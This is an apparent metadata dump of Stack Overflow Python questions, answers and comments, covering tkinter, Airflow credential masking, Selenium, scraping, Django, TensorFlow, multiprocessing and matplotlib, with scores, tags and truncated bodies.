has body: Thank you for reading. I am new to coding and have googled this problem and consulted text resources without success. I do not have access to a teacher. I did my best to create a version of the problem in as simple a way as I could. I greatly appreciate your time and effort in helping me to solve this problem. I am working in Python using IDLE and tkinter. I am trying to link two interfaces using tkinter. I designed the first interface to ask for two entries, (defined as factor1 and factor2). I also put a button on the first interface. I am trying to create a command for the button to open the second interface. Once, the second interface is open, the second interface is designed to use the user inputs into the two entries from the first interface (defined as factor1 and factor2) as labels. #First Interface from tkinter import * from tkinter.messagebox import * master = Tk() master.title('Getting Started') label1 = Label(master, text = 'what is factor 1:', relief = 'groove', width = 19) label2 = Label(master, text = 'what is factor 2:', relief = 'groove', width = 19) factor1 = Entry(master, relief = 'groove', width = 12) factor2 = Entry(master, relief = 'groove', width = 12) button2 = Button(master, text = 'Go', relief = 'groove', width = 25) label1.grid( row = 1, column = 1, padx = 10 ) label2.grid( row = 2, column = 1, padx = 10 ) factor1.grid( row = 1, column = 2, padx = 10 ) factor2.grid( row = 2, column = 2, padx = 10 ) button2.grid( row = 3, column = 1, columnspan = 2) #Second Interface from tkinter import * from tkinter.messagebox import * mydict = {'good':0.75, 'outstanding': 1} master = Tk() label1 = Label(master, text = 'proposal', relief = 'groove', width = 19) label2 = Label(master, text = factor1, relief = 'groove', width = 19) label3 = Label(master, text = factor2, relief = 'groove', width = 19) label4 = Label(master, text = 'Proposal Score', relief = 'groove', width = 19) label5 = Label(master, text = '1', relief = 'groove', width = 12) entry1 = Entry(…
type: Question
has answer: http://stackoverflow.com/a/49482080
tagged with: python
type: AnsweredQuestion
score: 0
tagged with: tkinter
accepted answer: http://stackoverflow.com/a/49482080
has title: Linking multiple interfaces in python using tkinter
answer count: 1

http://stackoverflow.com/q/49528230
has answer: http://stackoverflow.com/a/49589292
has answer: http://stackoverflow.com/a/49683648
has answer: http://stackoverflow.com/a/62598505
downvote count: 0
has answer: http://stackoverflow.com/a/74654008
favorite count: 0
has body: We have many AWS connection string in apache airflow and anyone can see our access keys and secret keys in airflow webserver connections section. How to hide or mask sensitive data in airflow webserver? We have already enabled authentication true in airflow configuration so it won't allow unauthorized users. But I don't want to show my keys in web view.
type: Question
has answer: http://stackoverflow.com/a/49530455
has title: How to hide/mask sensitive data from airflow connections and variable section?
answer count: 5
type: UnansweredQuestion
tagged with: airflow
tagged with: python
score: 6
upvote count: 6

http://stackoverflow.com/q/49561611
tagged with: python
score: -1
has body: I am facing a rare kind of issue while Automating through Selenium/Python while trying to fill out two fields on a website. My script fills out the first field i.e. ORIGIN CITY pretty fine. I have induced WebDriverWait for the second field DELIVERY ADDRESS. My guess the DELIVERY ADDRESS field is pretty much clickable even before the waiter is induced. But the ORIGIN CITY field have a JavaScript associated through onchange event as follows : onchange="javascript:setTimeout('__doPostBack(\'DrpCity\',\'\')', 0)" ORIGIN CITY HTML : Origin City Bangalore Chennai Delhi - NCR Hyderabad Kochi Kolkata Mumbai Pune Select your city ! DELIVERY ADDRESS HTML : *Cars will not be delivered at Metro Stations, Malls or Public Place. Enter Delivery Address ! Once the JavaScript finishes it clears up the text from the DELIVERY ADDRESS field. I did had a look at the Java Client's ExpectedConditions as jsReturnsValue which is not there for the Selenium Python Client. Website : https://www.avis.co.in/ My Code : from selenium import webdriver from selenium.webdriver.support.ui import Select from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC driver = webdriver.Firefox() driver.get("https://www.avis.co.in") mySelect = Select(driver.find_element_by_id("DrpCity")) mySelect.select_by_visible_text("Pune") WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH,"//input[@id='txtPickUp']"))).send_keys("XYZ") Any suggestions will be helpful.
has answer: http://stackoverflow.com/a/49563359
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49630571
has title: How do I wait for a JavaScript __doPostBack call through Selenium and WebDriver
answer count: 2
downvote count: 2
tagged with: dopostback
tagged with: selenium
tagged with: asp.net-ajax
upvote count: 1
tagged with: javascript
possible better answer: http://stackoverflow.com/a/49630571
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/33348600
linked to: http://stackoverflow.com/q/6504472
accepted answer: http://stackoverflow.com/a/49563359

http://stackoverflow.com/q/49466947
has title: iterate the submission of elements from a list into a post request
answer count: 1
upvote count: 1
tagged with: loops
favorite count: 0
tagged with: post
type: Question
tagged with: beautifulsoup
downvote count: 0
accepted answer: http://stackoverflow.com/a/49467010
has body: I know I became a sort of stackoverflow stalker, but I need help again. I create a variable called list_id with several customer codes inside; then I should use every element of this list separately into a post request (this post request performs a search in a form), scrape the result of the search, make some cleaning and export to a .csv file. I succeeded in doing it once, but I can't figure out how to create a loop. Hereunder an example of the code I created so far: list_id = [ ] #create an empty list where I append all the customer codes I need for td in soup.find_all('td', {'data-review-id':True}): list_id.append(td['data-review-id'].replace('"', ''). replace(r'\/', '/').replace('\\', '').encode("latin-1")) # I extract the customer codes from a web page and append them to my list_id #print list_id # I set up the data for my post request: data2 = { 'reviews_review_search_presenter[ownClientOnlyYN]': 'false', 'reviews_review_search_presenter[userID]': '5228', 'utf8': '\u2713', 'authenticity_token': form3["authenticity_token"], #it takes the authenticity token from elsewhere 'reviews_review_search_presenter[timeOffset]': '0', 'reviews_review_search_presenter[reserveYN]': 'F', 'reviews_review_search_presenter[aktiv]': 'alle' , 'reviews_review_search_presenter[meinungstyp]': 'R' , 'reviews_review_search_presenter[typus]': '' , 'reviews_review_search_presenter[minNote]': '1' , 'reviews_review_search_presenter[maxNote]': '5' , 'reviews_review_search_presenter[fromDate]': '' , 'reviews_review_search_presenter[fromTime]': '' , 'reviews_review_search_presenter[toDate]': '' , 'reviews_review_search_presenter[toTime]': '' , 'reviews_review_search_presenter[fromUpdateDate]': '' , 'reviews_review_search_presenter[fromUpdateTime]': '' , 'reviews_review_search_presenter[toUpdateDate]': '' , 'reviews_review_search_presenter[toUpdateTime]': '' , 'reviews_review_search_presenter[artikelNummer]': '' , 'reviews_review_search_presenter[masterStyleID]': '' , 'reviews_review_search_pre…
tagged with: python
has answer: http://stackoverflow.com/a/49467010
type: AnsweredQuestion
tagged with: list
score: 1

http://stackoverflow.com/comment/86109405
score: 0
type: Comment
has text: I made a string Tuple by adding a coma at the end and that was my mistake! Actually i am making a blog in which i have app called jobs where i upload image and the summary of my last job!
type: QuestionComment
comment on: http://stackoverflow.com/q/49550834

http://stackoverflow.com/a/49595311
type: Answer
has body: Maybe I'm not correct, but I have different kind of view. The backward function is defined and be called by forward function. For example: #!/usr/bin/env python # encoding: utf-8 ############################################################### # Parametrized example # -------------------- # # This implements a layer with learnable weights. # # It implements the Cross-correlation with a learnable kernel. # # In deep learning literature, it’s confusingly referred to as # Convolution. # # The backward computes the gradients wrt the input and gradients wrt the # filter. # # **Implementation:** # # *Please Note that the implementation serves as an illustration, and we # did not verify it’s correctness* import torch from torch.autograd import Function from torch.autograd import Variable from scipy.signal import convolve2d, correlate2d from torch.nn.modules.module import Module from torch.nn.parameter import Parameter class ScipyConv2dFunction(Function): @staticmethod def forward(ctx, input, filter): result = correlate2d(input.numpy(), filter.numpy(), mode='valid') ctx.save_for_backward(input, filter) return input.new(result) @staticmethod def backward(ctx, grad_output): input, filter = ctx.saved_tensors grad_output = grad_output.data grad_input = convolve2d(grad_output.numpy(), filter.t().numpy(), mode='full') grad_filter = convolve2d(input.numpy(), grad_output.numpy(), mode='valid') return Variable(grad_output.new(grad_input)), \ Variable(grad_output.new(grad_filter)) class ScipyConv2d(Module): def __init__(self, kh, kw): super(ScipyConv2d, self).__init__() self.filter = Parameter(torch.randn(kh, kw)) def forward(self, input): return ScipyConv2dFunction.apply(input, self.filter) ############################################################### # **Example usage:** module = ScipyConv2d(3, 3) print(list(module.parameters())) input = Variable(torch.randn(10, 10), requires_grad=True) output = module(input) print(output) output.backward(torch.randn(8, 8)) print(input.grad) In th…
has comment: http://stackoverflow.com/comment/86208160
upvote count: 2
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/49594858
has comment: http://stackoverflow.com/comment/86198141

http://stackoverflow.com/q/49503218
tagged with: css
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/86049325
has body: For some reason the URLs for the static files in my django won't change. I changed it from static to staticfiles to avoid conflict with my global static files. My project setup is as follows exampleproject/ app1/ static/ css/ app2/ static/ css/ static/ css/ exampleproject/ settings.py staticfiles/ # static files collected here app1/static/css/ app2/static/css/ manage.py My static settings in settings.py are STATIC_URL = '/staticfiles/' STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles/') STATICFILES_DIRS = [ os.path.join(BASE_DIR, "static"), ] And it seems to work in my test environment. But on deployment, it won't change the URLs on the page to /staticfiles/ instead of /static/, even after clearing cache, restarting nginx/gunicorn and making sure it was up to date with git.
type: Question
has comment: http://stackoverflow.com/comment/86042982
tagged with: static
has title: Django static files won't refresh
type: UnansweredQuestion
tagged with: django
tagged with: python

http://stackoverflow.com/a/49533984
score: 0
type: Answer
answers question: http://stackoverflow.com/q/49520109
has body: It's because the Keras scikit-learn wrappers don't exactly follow the scikit-learn API. In scikit-learn, calling fit() on an estimator returns a fitted estimator. In the Keras wrapper, the fit() call returns a callbacks.History object.

http://stackoverflow.com/q/49542577
upvote count: 3
answer count: 1
has body: I've just installed tensorflow but when typing : import tensorflow I get this error : Traceback (most recent call last): File "C:\Program Files\Python35\lib\site-packages\tensorflow\python\pywrap_tensorflow_internal.py", line 18, in swig_import_helper return importlib.import_module(mname) File "C:\Program Files\Python35\lib\importlib\__init__.py", line 126, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "&lt;frozen importlib._bootstrap&gt;", line 986, in _gcd_import File "&lt;frozen importlib._bootstrap&gt;", line 969, in _find_and_load File "&lt;frozen importlib._bootstrap&gt;", line 958, in _find_and_load_unlocked File "&lt;frozen importlib._bootstrap&gt;", line 666, in _load_unlocked File "&lt;frozen importlib._bootstrap&gt;", line 577, in module_from_spec File "&lt;frozen importlib._bootstrap_external&gt;", line 914, in create_module File "&lt;frozen importlib._bootstrap&gt;", line 222, in _call_with_frames_removed ImportError: DLL load failed: Une routine d\u2019initialisation d\u2019une bibliothèque de liens dynamiques (DLL) a échoué. During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Program Files\Python35\lib\site-packages\tensorflow\python\pywrap_tensorflow.py", line 58, in &lt;module&gt; from tensorflow.python.pywrap_tensorflow_internal import * File "C:\Program Files\Python35\lib\site-packages\tensorflow\python\pywrap_tensorflow_internal.py", line 21, in &lt;module&gt; _pywrap_tensorflow_internal = swig_import_helper() File "C:\Program Files\Python35\lib\site-packages\tensorflow\python\pywrap_tensorflow_internal.py", line 20, in swig_import_helper return importlib.import_module('_pywrap_tensorflow_internal') File "C:\Program Files\Python35\lib\importlib\__init__.py", line 126, in import_module return _bootstrap._gcd_import(name[level:], package, level) ImportError: No module named '_pywrap_tensorflow_internal' During handling of the above exception, another exc…
tagged with: tensorflow
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/53293550
type: UnansweredQuestion
downvote count: 0
tagged with: python
has title: ImportError: No module named '_pywrap_tensorflow_internal'
score: 3

http://stackoverflow.com/comment/98353831
has text: @ollydbg23, OP is interested in *visual representation* (as misguided as that is for Pandas). Visually, the BBB is repeated in option 1, not in option 2.
type: Comment
comment on: http://stackoverflow.com/a/49534143
score: 0
type: AnswerComment

http://stackoverflow.com/a/49595374
upvote count: 1
score: 1
has body: You can select df1 where the index matches the beginning and end of df2. df1.loc[beginning(df2):end(df2)] You'll want to make sure that the items are really in order for df1 because it will return the locs between beginning and end in order. If the timestamp is a datetime object, it will correctly sort if you call df1.sort_index(). You will also be able to get the beginning and end of df2 by calling df2.index.min() and df2.index.min() If the timestamps are strings, but you can be sure that the items are in order, you can still use the .loc to select. Otherwise you'll want to convert them to datetime objects.
type: Answer
answers question: http://stackoverflow.com/q/49592930
downvote count: 0

http://stackoverflow.com/comment/86158640
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49574600
has text: @DanielRoseman thanks for the pointer that worked :) (and also for not giving away the full answer since that's the best way to learn)
score: 0

http://stackoverflow.com/comment/85883437
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49440441
has text: I could not find any of that on the docs I searched. That is actually a bug on the datetime constructors with time zones. Thank you very much for pointing it out!

http://stackoverflow.com/comment/85961457
comment on: http://stackoverflow.com/q/49471545
score: 0
type: Comment
type: QuestionComment
has text: I don't know then sorry

http://stackoverflow.com/a/49531034
answers question: http://stackoverflow.com/q/49530605
has body: There are two common solutions for the problem you are trying to solve. 1. regex In a more general case, if either what you are looking for or the string you are dealing with shows regularity, you can use python's regular expressions library, re. Here is an example of using regex to extract everything after the last forward slash. import re x = "this/stuff/should/go/leave this.ext" re.search('([^/]+$)',x).group(0) To learn more about regular expressions in python, try the documentation for re in Python 3. 2. os.path In this particular case, the easiest option is to use os.path since you are dealing with a filename. import os.path x = "this/stuff/should/go/leave this.ext" os.path.basename(x)
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/86068283
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/49550381
has comment: http://stackoverflow.com/comment/86118347
tagged with: python
has comment: http://stackoverflow.com/comment/86108257
duplicate of: http://stackoverflow.com/q/1200266
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/20725020
tagged with: python-3.x
answer count: 0
linked to: http://stackoverflow.com/q/1200266
upvote count: 3
type: UnansweredQuestion
has body: [See 2nd edit at bottom of question] [EDIT: This question was marked as an "exact" duplicate of two previous questions/answer to which links were provided. I've read both now carefully a few times, and I can't see where they address my issue at all. The methods they do address--how to send form data to the server using JS/AJAX/jquery may be useful if it turns out there's no way to get Flask to process the data from a post request without returning a new page to the client. To clarify: I'm *not* trying to get the form data to change something on its own page. I can see that I could leave Flask out of that and just use JS, but that's not what I want to happen. The fact is, I don't want any changes made to the page itself (except launch a modal using Bootstrap/jquery), I just want to send the form data to Flask and have it do something with it. So, here's my original question again ]: I am using Python (3.6.4) Flask and Flask-Mail on a web page that uses Bootstrap for the frontend. After Flask sends an email from a contact form on the page, I want Bootstrap to launch a "modal" popup over the existing page to acknowledge the submission. Once the user clicks on the "OK" button on the modal, the popup should disappear with nothing else changed on the page, including its scrolled position (the form is at the bottom of the page). BTW, the same button that submits the contact form should also launch the modal--I've tested that separately. I've also thoroughly tested the form and it's sending emails as programmed (and with all the usual settings for mail in my config.py module). Here's the code in my routes.py module: @app.route('/process_contact', methods=['POST']) def process_contact(): name = request.form['name'] email = request.form['email'] message = request.form['message'] text = 'From: ' + name +'\n\nEmail: ' + email + '\n\nMessage: ' + message html = 'From: ' + name +'&lt;p&gt;Email: ' + email + '&lt;p&gt;Message: ' + message send_email('New contact form message', 'co…
downvote count: 0
tagged with: bootstrap-modal
tagged with: flask
has title: Flask "route" from form submission without changing "view"
score: 3
duplicate of: http://stackoverflow.com/q/13832911

http://stackoverflow.com/comment/86196318
comment on: http://stackoverflow.com/a/49594394
type: Comment
score: 0
type: AnswerComment
has text: you are absolutely correct, Thank you Sir, @solarissmoke

webforms
tags question: http://stackoverflow.com/q/49564756
type: Tag
tag name: webforms

http://stackoverflow.com/q/49564303
tagged with: python
type: Question
has comment: http://stackoverflow.com/comment/86136857
accepted answer: http://stackoverflow.com/a/49564965
tagged with: subprocess
score: 1
has comment: http://stackoverflow.com/comment/86138021
tagged with: multithreading
answer count: 1
downvote count: 0
upvote count: 1
has body: I'm generating a list filled with sublists of randomly generated 0s and 1s, and then trying to compare each list with every other list to determine their similarity, efficiently. I know that my code works with a single process (i.e. without involving multiprocessing, but once I start involving multiprocessing.Pool() or multiprocessing.Process() everything starts to break. I want to compare how long a single process would take compared to multiple processes. I've tried this with threading, but a single process actually ended up taking less time, probably due to the Global Interpreter Lock. Here's my code: import difflib import secrets import timeit import multiprocessing import numpy random_lists = [[secrets.randbelow(2) for _ in range(500)] for _ in range(500)] random_lists_split = numpy.array_split(numpy.array(random_lists), 5) def get_similarity_value(lists_to_check, sublists_to_check) -&gt; list: ratios = [] matcher = difflib.SequenceMatcher() for sublist_major in sublists_to_check: try: sublist_major = sublist_major.tolist() except AttributeError: pass for sublist_minor in lists_to_check: if sublist_major == sublist_minor or [lists_to_check.index(sublist_major), lists_to_check.index(sublist_minor)] in [ratios[i][1] for i in range(len(ratios))] or [lists_to_check.index(sublist_minor), lists_to_check.index(sublist_major)] in [ratios[i][1] for i in range(len(ratios))]: # or lists_to_check.index(sublist_major.tolist()) &gt; lists_to_check.index(sublist_minor): pass else: matcher.set_seqs(sublist_major, sublist_minor) ratios.append([matcher.ratio(), sorted([lists_to_check.index(sublist_major), lists_to_check.index(sublist_minor)])]) return ratios def start(): test = multiprocessing.Pool(4) data = [(random_lists, random_lists_split[i]) for i in range(len(random_lists_split))] print(test.map(get_similarity_value, data)) statement = timeit.Timer(start) print(statement.timeit(1)) statement2 = timeit.Timer(lambda: get_similarity_value(random_lists, random_lists)) print(st…
favorite count: 0
has title: RuntimeError with multiprocessing module when trying to recursively compare lists
tagged with: multiprocessing
tagged with: python-3.x
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86137673
has answer: http://stackoverflow.com/a/49564965

http://stackoverflow.com/q/49540378
tagged with: windows
has body: For some backwards compatability test I want to be able to rollback python 2.7.13 to 2.7.11. I could do a VM and what not but really its more work then its worth as this is definately a one off scenario and or may prove to be a red herring. I cant seem to roll the version of python it seems to be remebering the version. &gt;&gt;python --version Python 2.7.13 *Uninstall python using the 2.7.13 installer. &gt;&gt;python --version 'python' is not recognized as an internal or external command, operable program or batch file. *Install python using the 2.7.11 installer. &gt;&gt;python --version Python 2.7.13 Some how python is remebering its version after a 'complete' removal and reinstall. It must be hinding something somewhere ... can anyone tell me how to effectively rollback the python version?
tagged with: python
has comment: http://stackoverflow.com/comment/86088135
accepted answer: http://stackoverflow.com/a/49540436
has answer: http://stackoverflow.com/a/49540436
has title: Rollback python 2.7.13 to 2.7.11
answer count: 1
has comment: http://stackoverflow.com/comment/86088109
type: Question
has comment: http://stackoverflow.com/comment/86087985
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86088508

http://stackoverflow.com/comment/86019098
has text: @ÁngelDelgadoPanadero tf.nn.dynamic_rnn can stop earlier. However if you have a batch you need still need to cover the longest sequence in the batch. Works best if you make batches have similar sequence lengths. Before talking performance try out the simplest thing and see how it works. It might be that it's fast enough.
comment on: http://stackoverflow.com/a/49492813
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/85972340
has text: @abarnert Microoptimization = no lambda... it would still be the same complexity, of course.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49484783
type: Comment

http://stackoverflow.com/comment/86027531
type: Comment
type: QuestionComment
score: 0
has text: @ArndtJonasson since I need it to work both on Linux and Mac - you are correct that for example above was on Mac. following your comment- I check on Linux- and it hides characters as expected.
comment on: http://stackoverflow.com/q/49511496

http://stackoverflow.com/a/49533359
type: Answer
has comment: http://stackoverflow.com/comment/86849538
has body: If you're looking for something like stress plot visualisation, you'll have to write your own FieldOutput data. It's generally easier to output the data directly to an external visualiser, but it's possible (if not a bit convoluted) to do this in Abaqus. The general process is this: Generate a FieldOutput object; syntax is FO = odbModel.steps.values()[-1].frames[-1].FieldOutput(name=data_name, description=data_description, type=SCALAR), where odbModel is an opened Odb object, steps.values()[-1] or a named step steps[...] is the step you want to output to, frames[-1] is the last frame (or a frame of your choice) that you want to output to in this step, data_name and data_description are strings (for stress contour plots, data_name would be equivalent to the label S in the odb output) SCALAR is a parameter from the abaqusConstants module Get the rootAssembly.instance objects, and their associated element elementSets and sectionAssignments which have clear links to a section with a material which has a density attribute. Update the FieldOutput object with the addData command; syntax is addData(position=CENTROID, instance=instance, labels=labels, data=data) CENTROID is a parameter from the abaqusConstants module (assuming you just want to have element densities at the element centroid; you can stick them at integration points too, if you really wanted) instance is the instance associated with the element set (or more generally the region assigned with this material) labels is an iterable (list, tuple) of integers specifying the element labels of the associated instance for which the data is to be written at data is an iterable of iterables of floats, specifying the data. In your case, a single density value means that data is an iterable of length-1 iterables, each containing one value of density. The length of data must be equal to the length of labels, as each member of data exactly corresponds to the elementLabel in the same position in labels. Example script below (…
has comment: http://stackoverflow.com/comment/86837778
has comment: http://stackoverflow.com/comment/86845795
has comment: http://stackoverflow.com/comment/86838370
downvote count: 0
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/49509158
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86121492
has comment: http://stackoverflow.com/comment/86231721
answers question: http://stackoverflow.com/q/49509158
has comment: http://stackoverflow.com/comment/86120735
has comment: http://stackoverflow.com/comment/86846031

http://stackoverflow.com/a/49526362
has comment: http://stackoverflow.com/comment/86061379
score: 0
has comment: http://stackoverflow.com/comment/86059998
type: Answer
has comment: http://stackoverflow.com/comment/86058853
has comment: http://stackoverflow.com/comment/86100746
has body: you have to use alexa session attribute state and based on the state make decision tree on how to handle it
has comment: http://stackoverflow.com/comment/86059827
answers question: http://stackoverflow.com/q/49526163
has comment: http://stackoverflow.com/comment/86061178

http://stackoverflow.com/a/49462260
has comment: http://stackoverflow.com/comment/85928734
upvote count: 0
has comment: http://stackoverflow.com/comment/85928517
downvote count: 1
answers question: http://stackoverflow.com/q/49462195
type: Answer
has body: This solution requires constant extra memory, and runs in O(nk). If the array has zero length, or there are zero rotations, skip the loop and return arr. For every rotation we store the first element, then shift every other element to the left, finally placing the first element at the back of the list. We save some work for large values of k by recognizing that every rotation after the nth is a repeat solution -> k % n. def array_left_rotation(arr, n, k): for _ in range(0 if 0 in [n, k] else k % n): temp = arr[0] for idx in range(n - 1): arr[idx] = arr[idx + 1] arr[-1] = temp return arr
score: -1

http://stackoverflow.com/comment/86198000
has text: you are the best
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49595279
type: Comment

http://stackoverflow.com/comment/106182206
type: AnswerComment
comment on: http://stackoverflow.com/a/49487779
score: 3
has text: For me what worked was doing `logging.getLogger('parso').setLevel(logging.WARNING)`
type: Comment

http://stackoverflow.com/comment/86131691
comment on: http://stackoverflow.com/a/49560115
type: AnswerComment
has text: yes, so I would assume you meant the latter option?
score: 0
type: Comment

http://stackoverflow.com/a/49635848
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49592046
has body: From the error message it sounds like pyomo is unable to find the cplex.exe executable. According to the pyomo documentation: the directory containing the cplex executable must be in the list of paths defined by the PATH environment variable For example, to do this in a console window (temporarily) you would do something like this: set PATH=%PATH%;"C:\Program Files\IBM\ILOG\CPLEX_Studio128\cplex\bin\x64_win64" To set the PATH environement vartiable permanently see here, for example.

http://stackoverflow.com/a/66832096
upvote count: 4
has comment: http://stackoverflow.com/comment/130190233
has comment: http://stackoverflow.com/comment/130214408
downvote count: 0
has comment: http://stackoverflow.com/comment/130238577
has body: Un update and some improvements to the answer of @ImportanceOfBeingErnest. The dist_point_to_segmentis no more supported in matplotlib and the class should be modified accordingly to the new docs. Apart from this I think that could be useful to have the point insertion functionality also for the spline curve, that actually is missing. Since a point control for the curve can be added only to the straight line I made this visible with a dashed style. The visibility of this line can be toggle with the 't' button. The interpolate function is now defined more generally outside the class and the visible property of the polygon can be set directly when declared instead of modifying it inside the class. In this way the class results more clean and with less modifications. Here's my result and my code: """ =========== Poly Editor =========== This is an example to show how to build cross-GUI applications using Matplotlib event handling to interact with objects on the canvas. """ import numpy as np from scipy.interpolate import interp1d from matplotlib.lines import Line2D from matplotlib.artist import Artist def dist(x, y): """ Return the distance between two points. """ d = x - y return np.sqrt(np.dot(d, d)) def dist_point_to_segment(p, s0, s1): """ Get the distance of a point to a segment. *p*, *s0*, *s1* are *xy* sequences This algorithm from http://geomalgorithms.com/a02-_lines.html """ v = s1 - s0 w = p - s0 c1 = np.dot(w, v) if c1 <= 0: return dist(p, s0) c2 = np.dot(v, v) if c2 <= c1: return dist(p, s1) b = c1 / c2 pb = s0 + b * v return dist(p, pb) def interpolate(x, y): x, y = x, y##self.poly.xy[:].T i = np.arange(len(x)) interp_i = np.linspace(0, i.max(), 100 * i.max()) xi = interp1d(i, x, kind='cubic')(interp_i) yi = interp1d(i, y, kind='cubic')(interp_i) return xi,yi class PolygonInteractor: """ A polygon editor. Key-bindings 't' toggle vertex markers on and off. When vertex markers are on, you can move them, delete them 'd' delete the vertex under point 'i' insert…
answers question: http://stackoverflow.com/q/49570341
has comment: http://stackoverflow.com/comment/130262326
score: 4
type: Answer

http://stackoverflow.com/q/49491179
has comment: http://stackoverflow.com/comment/85992794
linked to: http://stackoverflow.com/q/8169001
linked to: http://stackoverflow.com/q/2764017
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85985495
has comment: http://stackoverflow.com/comment/85985872
duplicate of: http://stackoverflow.com/q/8169001
answer count: 2
score: 1
has comment: http://stackoverflow.com/comment/85987452
has body: I have been trying out the use of +, -, *, / operators on booleans and I do not understand the strange output results I am getting: First example using the +: &gt;&gt;&gt; a = True &gt;&gt;&gt; b = False &gt;&gt;&gt; a + b 1 &gt;&gt;&gt; a + a 2 &gt;&gt;&gt; b + b 0 It is clear I am not getting boolean outputs and sure enough: &gt;&gt;&gt; type(a + a) &lt;class 'int'&gt; &gt;&gt;&gt; Second example using -: &gt;&gt;&gt; a - b 1 &gt;&gt;&gt; a - a 0 &gt;&gt;&gt;b - b 0 All integers once again. Third example using *: &gt;&gt;&gt; a * a 1 &gt;&gt;&gt; a * b 0 &gt;&gt;&gt; b * b 0 &gt;&gt;&gt; And finally using / (which returned an error): &gt;&gt;&gt; a / a 1.0 &gt;&gt;&gt; a / b Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; ZeroDivisionError: division by zero &gt;&gt;&gt; b / b Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; ZeroDivisionError: division by zero &gt;&gt;&gt; Interestingly: &gt;&gt;&gt; type(a / a) &lt;class 'float'&gt; &gt;&gt;&gt; Returns a float. What is going on. Why am I getting these integer and float output when using non-boolean operatons and not some Boolean operator as I would expect?
has comment: http://stackoverflow.com/comment/85985794
possible better answer: http://stackoverflow.com/a/49491222
downvote count: 1
tagged with: boolean-logic
favorite count: 0
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49491265
has answer: http://stackoverflow.com/a/49491222
upvote count: 2
has answer: http://stackoverflow.com/a/49491265
has title: Understanding the use of non Boolean operators on Booleans
tagged with: python
has comment: http://stackoverflow.com/comment/85985697

http://stackoverflow.com/q/49537535
type: Question
tagged with: discrete-mathematics
answer count: 0
type: UnansweredQuestion
tagged with: numerical-methods
downvote count: 0
upvote count: 1
has title: Discretization Error amplification in a numerical scheme written in Python
has body: I am using python for my numerical method projects and at this point I am facing a problem that is mostly related to the way I am coding with python. So I wrote a code on Python 2.7.5 to solve numerically an Ordinary differential equation (1D Diffusion equation - stationnary - a constant diffusion coefficient = 1 and a second member used in order to have sin(pi*x) as a solution). Basically, the numerical scheme discretize the equation and the discretized solution is evaluted on the points of the 1D seperated by a fixed step dx. A simple theoretical study shows that if dx tends to 0 then the difference between the constructed solution of the diff equation and the exact solution ,called Err goes to 0. When running my code, I found that for very small dx, Err doesn't stagnate at the machine precision error (the expected behaviour) but goes up for several magnitude orders. Is it a problem in the precision/round managment of Python for very small numbers ? I tried to write the problem in different ways (Matrix, Loops, Matrix inversion technices) but the same phenomenon happened. import numpy as np import matplotlib.pyplot as plt import scipy.sparse as sp from scipy.sparse.linalg.dsolve import spsolve Err=[] N=np.array([10,20,40,80,100,800,2000,5000,10000,50000,100000,600000,900000]) #Loop on the number of points used for the discretization of the 1D domain for Nx in N: dx=(1.0)/Nx# fixed distance between two consecutive points in the domain x = np.linspace(dx,1.0-dx,Nx-1)# points of the domains #Matrix contruction used for the resolution data = [np.ones(Nx-1), -2*np.ones(Nx-1), np.ones(Nx-1)]# Diagonal terms offsets = np.array([-1, 0, 1])# Their positions LAP = sp.dia_matrix((data, offsets), shape=(Nx-1, Nx-1))# f = -np.pi**2*np.sin(np.pi*x)*dx**2#constant Second member sol_num = spsolve(LAP,f)#Resolution of the matrix system sol_ana=np.sin(np.pi*x)#The exact solution Err.append((np.absolute((sol_ana-sol_num))).max()) plt.figure() plt.plot(N,Err,N,N**float(-2),'--') plt.…
tagged with: differential-equations
has comment: http://stackoverflow.com/comment/86131889
score: 1
tagged with: python
has comment: http://stackoverflow.com/comment/86132516
favorite count: 0

http://stackoverflow.com/q/49505680
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86015930
tagged with: python
accepted answer: http://stackoverflow.com/a/49506912
has answer: http://stackoverflow.com/a/49506912
type: AnsweredQuestion
score: 1
